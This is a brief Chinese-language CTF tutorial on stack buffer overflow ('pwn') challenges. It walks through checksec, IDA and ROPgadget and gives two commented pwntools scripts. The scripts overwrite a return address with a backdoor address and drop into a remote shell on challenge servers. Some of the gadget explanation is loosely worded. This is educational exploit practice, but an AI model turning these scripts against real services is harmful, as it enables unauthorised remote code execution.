1.使用checksec查看文件的信息与保护
checksec 文件名
2.使用ida反编译工具擦看漏洞
先看main函数之后拓展找到溢出点。
擦看溢出数据32位加4字节偏移;64位加8字节偏移。
使用kali命令:
ROPgadget --binary pwn文件 --only "plt|pop|ret"
找到ret地址。
找到后门地址或自己编写后门。
3.写exp
示例:
# 导入pwn库,这是一个用于CTF比赛和二进制漏洞利用的库
from pwn import *
# 连接到远程的二进制服务,地址是node5.buuoj.cn,端口是27626
p = remote("node5.buuoj.cn", 27626)
# 定义一个变量backdoor,存储了二进制中某个函数的地址。这个地址可能是一个后门函数,可以让我们获取shell
backdoor = 0x40117B
# 构造payload。这个payload是为了触发漏洞的。它由两部分组成:
# 1. b"a"*(0x20+0x8):这部分是填充,目的是覆盖某些内存区域,使得我们控制的内存覆盖到返回地址。
# 2. p64(backdoor):这部分是将之前定义的backdoor地址转换为64位整数,并放到payload中。当程序执行到这个地址时,它会跳转到backdoor函数。
payload = b"a"*(0x20+0x8) + p64(backdoor)
# 发送payload到远程服务器
p.sendline(payload)
# 交互模式,使我们可以与远程服务器进行交互。例如,如果backdoor是一个shell,那么现在我们可以直接在这个shell中执行命令
p.interactive()
示例2:
# 从pwn库中导入所有功能
from pwn import *
# 连接到远程服务器,IP地址为1.14.71.254,端口为28026
p = remote("1.14.71.254", 28026)
# 定义后门函数的地址,当程序执行到这里时,通常会提供某种形式的shell或其他功能
backdoor = 0x4014BA
# 定义pop_ret指令的地址,这个指令通常是将栈顶的值弹出到指令指针寄存器中,从而执行那个地址上的代码
# 在漏洞利用中,这常用于控制程序流程
pop_ret = 0x40101a
# 构造payload。payload通常由两部分组成:
# 1. b'a'*(0x40+8):这是填充数据,用于覆盖目标程序的某些内存区域,使得栈上的返回地址被覆盖为我们想要的地址
# 0x40是填充的大小,加上8是因为在64位系统上,返回地址通常占用8字节
# 2. p64(pop_ret)+p64(backdoor):这是精心构造的返回地址部分。首先,使用pop_ret指令的地址作为第一次返回的地址
# 当程序执行到pop_ret时,它会将栈顶的下一个地址(即backdoor的地址)弹出到指令指针寄存器,从而跳转到backdoor函数
payload = b'a'*(0x40+8) + p64(pop_ret) + p64(backdoor)
# 发送payload。sendlineafter函数会在接收到"Make a wish: "这个字符串后发送payload
# 这意味着payload会被发送到目标程序,并且程序可能正等待用户输入"Make a wish: "后的内容
p.sendlineafter("Make a wish: ", payload)
# 进入交互模式,使得攻击者可以在远程shell中执行命令
# 如果backdoor函数确实提供了一个shell,那么现在攻击者就可以控制这台远程服务器了
p.interactive()
这只是一个示例具体的地址填充需要自己寻找。